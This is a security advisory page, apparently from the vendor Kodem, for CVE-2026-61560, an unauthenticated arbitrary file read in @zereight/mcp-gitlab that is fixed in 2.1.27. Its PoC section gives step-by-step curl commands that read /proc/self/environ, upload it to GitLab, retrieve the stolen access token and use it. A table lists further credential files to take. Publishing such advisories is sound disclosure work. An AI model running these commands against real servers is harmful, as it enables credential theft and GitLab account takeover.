CVE-2026-61560

CVE-2026-61560 is a critical-severity path traversal vulnerability in @zereight/mcp-gitlab (npm), affecting versions < 2.1.27. It is fixed in 2.1.27.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@zereight/mcp-gitlab: Unauthenticated arbitrary file read via upload_markdown enables PAT exfiltration and full account takeover

The SSE transport mode (SSE=true) exposes all MCP tools without any authentication. The upload_markdown tool reads arbitrary files from the server's local filesystem via an unsanitized file_path parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read /proc/self/environ to steal the server's GITLAB_PERSONAL_ACCESS_TOKEN and achieve full GitLab account takeover. This is the default configuration for Docker deployments.

Details

Two issues chain together:

1. No authentication on SSE transport (src/index.ts:7350-7388)

When SSE=true (the intended mode for Docker deployments per docker-compose.yaml), the /sse and /messages endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.

// src/index.ts:7354, no auth check
app.get("/sse", async (_: Request, res: Response) => {
    const serverInstance = createServer();
    const transport = new SSEServerTransport("/messages", res);
    await serverInstance.connect(transport);
});

Remote Authorization (REMOTE_AUTHORIZATION=true) is explicitly incompatible with SSE mode (src/index.ts:1833-1839), so there is no way to add per-request auth in this transport.

2. Arbitrary file read in upload_markdown (src/index.ts:5461-5503)

The upload_markdown tool calls fs.readFileSync(filePath) where filePath comes directly from user input with no validation. The Zod schema (src/schemas.ts:2150-2153) defines file_path as z.string() with no path restrictions, allowlists, or sandboxing.

async function markdownUpload(projectId: string, filePath: string) {
    if (!fs.existsSync(filePath)) {
        throw new Error(`File not found: ${filePath}`);
    }
    const fileBuffer = fs.readFileSync(filePath);  // Arbitrary file read, no path validation
    // ... uploads to GitLab project via POST /projects/:id/uploads
}

This tool is in the users toolset, which is enabled by default.

Docker amplification: The Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default, exposing the unauthenticated endpoint to the network.

PoC

Prerequisites:

  • A running @zereight/mcp-gitlab instance with SSE=true and GITLAB_PERSONAL_ACCESS_TOKEN set (this is the default Docker deployment config)
  • Network access to the server's port (default: 3002)
  • A GitLab project ID the PAT has write access to (use list_projects to enumerate)

Steps:

# 1. Connect to the unauthenticated SSE endpoint and capture the session ID
SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')

# 2. (Optional) Enumerate accessible projects to find a writable project ID
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "list_projects",
      "arguments": {"owned": true}
    }
  }'

# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)
#    and upload it to a GitLab project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "upload_markdown",
      "arguments": {
        "project_id": "<WRITABLE_PROJECT_ID>",
        "file_path": "/proc/self/environ"
      }
    }
  }'

# 4. The response contains a GitLab upload URL like:
#    {"markdown": "![environ](/uploads/abc123def456/environ)", "url": "/uploads/abc123def456/environ"}
#
# 5. Retrieve the uploaded file from GitLab:
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"

# 6. The file contains NUL-separated environment variables including:
#    GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
#
# 7. Use the stolen PAT for full GitLab API access:
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"

Other exfiltrable targets (running as root in Docker):

File Contents
/proc/self/environ All env vars including GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx
/proc/self/cmdline Command line args (token if passed via CLI)
/etc/shadow System password hashes
/app/build/index.js Full application source code
~/.gitlab-mcp-token.json OAuth tokens (if OAuth mode was used)

Impact

Unauthenticated full GitLab account takeover. Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-61560 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.27); upgrading removes the vulnerable code path.

Affected versions

@zereight/mcp-gitlab (< 2.1.27)

Security releases

@zereight/mcp-gitlab → 2.1.27 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade @zereight/mcp-gitlab to 2.1.27 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-61560? CVE-2026-61560 is a critical-severity path traversal vulnerability in @zereight/mcp-gitlab (npm), affecting versions < 2.1.27. It is fixed in 2.1.27. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-61560? CVE-2026-61560 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @zereight/mcp-gitlab are affected by CVE-2026-61560? @zereight/mcp-gitlab (npm) versions < 2.1.27 is affected.
  4. Is there a fix for CVE-2026-61560? Yes. CVE-2026-61560 is fixed in 2.1.27. Upgrade to this version or later.
  5. Is CVE-2026-61560 exploitable, and should I be worried? Whether CVE-2026-61560 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-61560 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-61560? Upgrade @zereight/mcp-gitlab to 2.1.27 or later.

Stop the waste.
Protect your environment with Kodem.